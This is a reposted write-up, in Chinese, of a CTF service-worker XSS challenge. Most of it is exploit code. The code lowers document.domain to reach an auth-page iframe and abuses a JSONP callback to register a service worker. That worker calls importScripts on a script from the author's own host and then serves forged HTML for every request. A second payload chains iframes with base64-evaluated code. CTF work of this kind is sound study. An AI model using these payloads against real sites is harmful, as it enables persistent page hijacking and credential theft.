西湖论剑ServiceWorkerXSS-wp
2020-10-8 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:11 收藏

三个域名及其功能:

  • auth.xss.com:存放cookie,登陆请求auth.xss.com/?username=xx&passwd=xx。存在jsonpauth.xss.com/api/loginStatus?callback=
  • xss.xss.com :存在回调xss,可直接引入外部js
    xss.xss.com/login?callback=jsonp(%22https://hpdoger.cn/xss.js%22);
  • 主域名:啥都没有

目标:横向拓展XSS,用xss.xss.com去劫持auth.xss.com页面,即rookit

step1、在xss.xss.com引入外源JS文件

document.domain = "xss.eec5b2.challenge.gcsis.cn";
var frame = document.createElement('iframe');
frame.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
frame.addEventListener("load", function(){auth();});
frame.name = 'authpage'
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//hpdoger.cn/sw.js')//")`;
function auth(){
    authpage.eval(exp);
}

step2、由于auth.xss.eec5b2.challenge.gcsis.cn的index.html进行了降域操作,因此在step1也将xxs.xss.eec5b2.challenge.gcsis.cn降到主域名,此时iframe(auth.xss.eec5b2.challenge.gcsis.cn)和父页面(xxs.xss.eec5b2.challenge.gcsis.cn)同域,可操作相关dom。

step3、注册sw服务,拦截fetch请求进行强缓存,相关看:https://xz.aliyun.com/t/3228#toc-9

self.addEventListener('install', function(event) {
        console.log('install ok!');
});


self.addEventListener('fetch', function (event) {  
        console.log(event.request);
        event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });

function requestBackend(event){  
        var url = event.request.clone();  
        console.log(url);
        return new Response("<script>alert(location.search);</script>", {headers: { 'Content-Type': 'text/html' }})
}

4、本地测试劫持:https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//hpdoger.cn/xss.js%22);

没有思路一方便。如果没想到用callback引入外部js,还是可以通过跳转到第三方实现的,具体的payload如下,转义的bug需要自己调一下

step1、https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=location%253d%27https://hpdoger.cn/xss.html'///

step2、hpdoger.cn/xss.html

<html>

<script>
    var frame1 = document.createElement("iframe");
    frame1.src = "https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(name);//";

    exp=btoa(`navigator.serviceWorker.register("/api/loginStatus?callback=importScripts("//hpdoger.cn/sw.js")")//`)

    frame1.name = `document.domain="xss.eec5b2.challenge.gcsis.cn";frame2=document.createElement("iframe");frame2.src ="https://auth.xss.eec5b2.challenge.gcsis.cn";document.body.appendChild(frame2);frame2.contentWindow.eval(atob(${exp}));`;

    document.body.appendChild(frame1);
</script>

</html>

final conclusion:navigator.serviceWorker.register能直接调用importScripts,不看自己文章把脸打肿.jpg


文章来源: https://hpdoger.cn/2020/10/08/title:%20%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91ServiceWorkerXSS-wp/
如有侵权请联系:admin#unsafe.sh